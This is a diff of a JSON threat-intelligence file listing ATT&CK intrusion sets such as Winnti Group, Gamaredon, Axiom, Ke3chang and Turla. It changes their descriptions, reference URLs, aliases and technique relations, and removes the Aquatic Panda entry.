"tags": [ @@ -4841,13 +4682,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b350b47f-88fe-4921-8538-6d9c59bac84e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "tags": [ @@ -5164,7 +4998,7 @@ "value": "Stealth Falcon - G0038" }, { - "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018)", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)", "meta": { "external_id": "G0044", "refs": [ @@ -5195,27 +5029,6 @@ ], "type": "uses" }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8393dac0-0583-456a-9372-fd81691bca20", "tags": [ @@ -5243,41 +5056,23 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "value": "Winnti Group - G0044" }, { - "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\n\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)", "meta": { "external_id": "G0047", "refs": [ "https://attack.mitre.org/groups/G0047", "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/", "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", - "https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", - "https://www.secureworks.com/research/threat-profiles/iron-tilden", "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/" ], "synonyms": [ - "Gamaredon Group", - "IRON TILDEN", - "Primitive Bear", - "ACTINIUM", - "Armageddon", - "Shuckworm", - "DEV-0157" + "Gamaredon Group" ] }, "related": [ @@ -5288,20 +5083,6 @@ ], "type": "uses" }, - { - "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", "tags": [ @@ -5316,13 +5097,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03eb4a05-6a02-43f6-afb7-3c7835501828", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ @@ -5330,13 +5104,6 @@ ], "type": "uses" }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1a77e156-76bc-43f5-bdd7-bd67f30fbbbb", "tags": [ @@ -5351,13 +5118,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ @@ -5435,20 +5195,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", "tags": [ @@ -5484,13 +5230,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", "tags": [ @@ -5498,27 +5237,6 @@ ], "type": "uses" }, - { - "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8c41090b-aa47-4331-986b-8c9a51a91103", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", "tags": [ @@ -5526,13 +5244,6 @@ ], "type": "uses" }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747", "tags": [ @@ -5568,13 +5279,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ @@ -5582,13 +5286,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -5596,20 +5293,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d52291b4-bb23-45a8-aef0-3dc7e986ba15", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -5660,7 +5343,6 @@ "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/", "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf", - "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf", @@ -5767,13 +5449,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3", "tags": [ @@ -5795,13 +5470,6 @@ ], "type": "uses" }, - { - "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", "tags": [ @@ -5830,13 +5498,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -5851,13 +5512,6 @@ ], "type": "similar" }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -5984,13 +5638,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ @@ -6086,9 +5733,6 @@ "refs": [ "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/", "https://attack.mitre.org/groups/G0086" - ], - "synonyms": [ - "Stolen Pencil" ] }, "related": [ @@ -6357,6 +6001,20 @@ ] }, "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "c19cfc89-5ac6-4d2d-a236-70d2b32e007c", "tags": [ @@ -6646,7 +6304,7 @@ "external_id": "G0116", "refs": [ "https://attack.mitre.org/groups/G0116", - "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf" ], "synonyms": [ "Operation Wocao" @@ -7565,13 +7223,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a7b5df47-73bb-4d47-b701-869f185633a6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ @@ -7825,13 +7476,6 @@ ], "type": "uses" }, - { - "dest-uuid": "bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -7844,7 +7488,7 @@ "value": "Volatile Cedar - G0123" }, { - "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", "meta": { "external_id": "G0129", "refs": [ @@ -7852,7 +7496,6 @@ "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", "https://www.secureworks.com/research/bronze-president-targets-ngos" ], @@ -7885,13 +7528,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03acae53-9b98-46f6-b204-16b930839055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "11f29a39-0942-4d62-92b6-fe236cf3066e", "tags": [ @@ -7976,13 +7612,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ @@ -8011,13 +7640,6 @@ ], "type": "uses" }, - { - "dest-uuid": "65013dd2-bc61-43e3-afb5-a14c4fa7437a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", "tags": [ @@ -8039,13 +7661,6 @@ ], "type": "uses" }, - { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ @@ -8053,13 +7668,6 @@ ], "type": "uses" }, - { - "dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "tags": [ @@ -8281,142 +7889,6 @@ "uuid": "fed4f0a2-4347-4530-b0f5-6dfd49b29172", "value": "Nomadic Octopus - G0133" }, - { - "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)", - "meta": { - "external_id": "G0143", - "refs": [ - "https://attack.mitre.org/groups/G0143", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" - ], - "synonyms": [ - "AQUATIC PANDA" - ] - }, - "related": [ - { - "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a7881f21-e978-4fe4-af56-92c9416a2616", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d906e6f7-434c-44c0-b51a-ed50af8f7945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "64b52e7d-b2c4-4a02-9372-08a463f5dc11", - "value": "Aquatic Panda - G0143" - }, { "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)", "meta": { @@ -9531,7 +9003,7 @@ "value": "APT1 - G0006" }, { - "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between [Axiom](https://attack.mitre.org/groups/G0001) and [Winnti Group](https://attack.mitre.org/groups/G0044) but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015)", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti for Windows](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", "meta": { "external_id": "G0001", "refs": [ @@ -9555,20 +9027,6 @@ ], "type": "uses" }, - { - "dest-uuid": "197ef1b9-e764-46c3-b96c-23f77985dc81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -9576,20 +9034,6 @@ ], "type": "uses" }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ @@ -9604,27 +9048,6 @@ ], "type": "uses" }, - { - "dest-uuid": "79da0971-3147-4af6-a4f5-e8cd447cd795", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "810d8072-afb6-4a56-9ee7-86379ac4a6f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "94379dec-5c87-49db-b36e-66abc0b81344", "tags": [ @@ -9647,35 +9070,7 @@ "type": "similar" }, { - "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -9688,20 +9083,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ @@ -9715,13 +9096,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "fb28627c-d6ea-4c35-b138-ab5e96ae5445", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", @@ -9928,9 +9302,7 @@ "meta": { "external_id": "G0010", "refs": [ - "http://www.secureworks.com/research/threat-profiles/iron-hunter", "https://attack.mitre.org/groups/G0010", - "https://blog.talosintelligence.com/2021/09/tinyturla.html", "https://securelist.com/introducing-whitebear/81638/", "https://securelist.com/the-epic-turla-operation/65545/", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", @@ -9943,7 +9315,6 @@ ], "synonyms": [ "Turla", - "IRON HUNTER", "Group 88", "Belugasturgeon", "Waterbug", @@ -10031,13 +9402,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2a7c1bb7-cd12-456e-810d-ab3bf8457bab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ @@ -10577,13 +9941,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", "tags": [ @@ -11741,13 +11098,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be", "tags": [ @@ -11811,13 +11161,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ @@ -11986,13 +11329,6 @@ ], "type": "uses" }, - { - "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ @@ -12259,13 +11595,6 @@ ], "type": "uses" }, - { - "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab", "tags": [ @@ -12508,16 +11837,14 @@ "value": "Moafee - G0002" }, { - "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)", "meta": { "external_id": "G0004", "refs": [ "https://attack.mitre.org/groups/G0004", "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf", "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/", - "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", - "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe" + "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs" ], "synonyms": [ "Ke3chang", @@ -12526,8 +11853,7 @@ "Vixen Panda", "GREF", "Playful Dragon", - "RoyalAPT", - "NICKEL" + "RoyalAPT" ] }, "related": [ @@ -12545,13 +11871,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -12587,13 +11906,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ @@ -12601,13 +11913,6 @@ ], "type": "uses" }, - { - "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", 